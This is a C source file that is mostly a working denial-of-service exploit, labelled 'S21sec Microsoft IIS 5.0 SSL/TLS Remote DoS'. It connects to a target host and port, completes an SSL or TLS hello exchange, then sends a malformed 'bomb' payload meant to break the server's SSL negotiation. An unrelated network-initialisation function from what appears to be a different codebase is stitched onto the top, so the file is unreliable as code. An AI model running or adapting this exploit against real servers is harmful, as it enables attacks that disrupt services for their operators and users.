int init_net (void)
{
int rc;
rc = init_msg_tau(getprogname());
if (rc) {
eprintf("init_msg failed %d", rc);
}
sw_register(getprogname());
rc = init_cmd();
if (rc) return failure("init_cmd", rc);
rc = init_hello();
if (rc) return failure("init_hello", rc);
rc = init_sage();
if (rc) return failure("init_sage", rc);
return rc;
}
int
main(int argc, char *argv[])
{
struct sockaddr_in addr;
int sock,i;
char buffer[32];
setvbuf(stdout, NULL, _IONBF, 0);
printf("\n<*> S21sec Microsoft IIS 5.0 SSL/TLS Remote DoS <*>\n\n");
tls=0;
if ((argc != 4) && (argc != 3))
{
printf(" Usage: %s [host] [port] {t}\n", argv[0]);
printf(" host - Host (name/IP) to connect to.\n");
printf(" port - TCP port to connect to.\n");
printf(" t - Enable TLS (disabled by default).\n\n");
exit(1);
}
if (argc == 4)
{
if ( strcmp(argv[3], "t"))
{
printf(" -> Ouch!! What is '%s'?\n\n",argv[3]);
exit(1);
}
else
{
tls=1;
bin_data[2]=0x01;
}
}
memset(&addr, 0, sizeof(addr));
addr.sin_family = AF_INET;
addr.sin_port = htons(atoi(argv[2]));
if ( exist_host( argv[1], (u_long *)&(addr.sin_addr.s_addr) ) )
{
printf(" -> Ouch!! Wrong or nonexistant host '%s'!!\n\n",argv[1]);
exit(1);
}
if ((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1)
{
printf(" -> Error on socket(): %s\n", strerror(errno));
exit(1);
}
printf(" -> Connecting to %s:%s...",argv[1],argv[2]);
if (connect(sock, (struct sockaddr *)&addr, sizeof(addr)) == -1)
{
printf("\n -> Error on connect(): %s\n", strerror(errno));
exit(1);
}
init_hello();
printf(" OK\n -> Sending %s Client Hello...",((tls)?"TLS":"SSL"));
if (write(sock, (void *)&ssl_hello, sizeof(struct ssl_hello)) == -1)
{
printf("\n -> Error on write(): %s\n", strerror(errno));
exit(1);
}
printf(" OK\n -> Waiting for %s Server Hello...",((tls)?"TLS":"SSL"));
if (read(sock, (void *)buffer, sizeof(buffer)) == -1)
{
printf("\n -> Error on read(): %s\n", strerror(errno));
exit(1);
}
printf(" OK\n -> Sending bomb...");
if (write(sock, (void *)bin_data, sizeof(bin_data)) == -1)
{
printf("\n -> Error on write(): %s\n", strerror(errno));
exit(1);
}
for (i=0; i<6 ; i++)
{
printf(" B00M!!");
usleep(350000);
}
close(sock);
printf("\n ->\n -> OK. If DoS has been worked you will not be able to negotiate %s with %s:%s\n\n",
((tls)?"TLS":"SSL"),argv[1],argv[2]);
exit(0);
}